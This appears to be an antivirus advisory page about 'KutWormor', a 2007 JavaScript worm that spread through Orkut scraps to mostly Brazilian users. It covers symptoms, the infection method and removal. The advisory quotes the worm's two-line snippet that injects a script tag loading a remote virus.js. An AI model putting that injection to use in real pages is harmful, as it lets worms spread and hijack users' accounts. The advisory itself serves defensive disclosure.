<% if Request.querystring("retry") = "member" or Request.cookies("logged") <> "" then %>

        <%= Request.cookies("logged")%> <%else Response.Redirect "../default.asp" end if %>

         
         

 

Virus Name Risk Assessment
KutWormor Low-Profiled
 
Discovery Date Min DAT
12/21/2007 5191
 
Type SubType
Virus JavaScript
 
Virus Characteristics
This virus will add the user on a community called "Infectados pelo Virus Orkut", which means "Infected by the Orkut Virus" and start to send scraps (messages on orkut model) to the friends of the infected user.

This is done by adding a javascript file called virus.js on the scrap message:

script=document.createElement('script');
script.src='http://[REMOVED]/virusdoorkut/[REMOVED]/virus.js';
 
Symptoms
The infected user will start to send scraps (messages on Orkut model) to his friends. The scrap will arrive by email to the friend with some portuguese messages like:

"2008 vem ai... que ele comece mto bem para vc", which means "2008 is arriving, I hope that it starts quite will for you", or

"Boas Festas de final de Ano!", which means "Have a nice new years party!".

Once the user received the email and checks the scrap, the message will contain a javascript, called virus.js which will execute and start the sending scraps process and add the infected user to the "Infectados pelo Virus Orkut" community.

This is specially target for Brazilian users, the majority of the users from the Google social network, but other users may be affected by checking these scraps.
Method Of Infection
The basic Method of infection is:
- the user receives an email telling that they got a new scrap...
- the user checks orkut's scrapbook...
- by just checking the scrap book they became infected since the message has a link to a remote malicious .js file (virus.js) .
Removal Instructions
Use specified engine and DAT files for detection and removal.

Modifications made to the system Registry and/or INI files for the purposes of hooking system startup, will be successfully removed if cleaning with the recommended engine and DAT combination (or higher).

 

     1385 Shabakeh Gostar Eng

  

|      كشخصات نیرنس ما    |     مشدار نیرنس جدید     |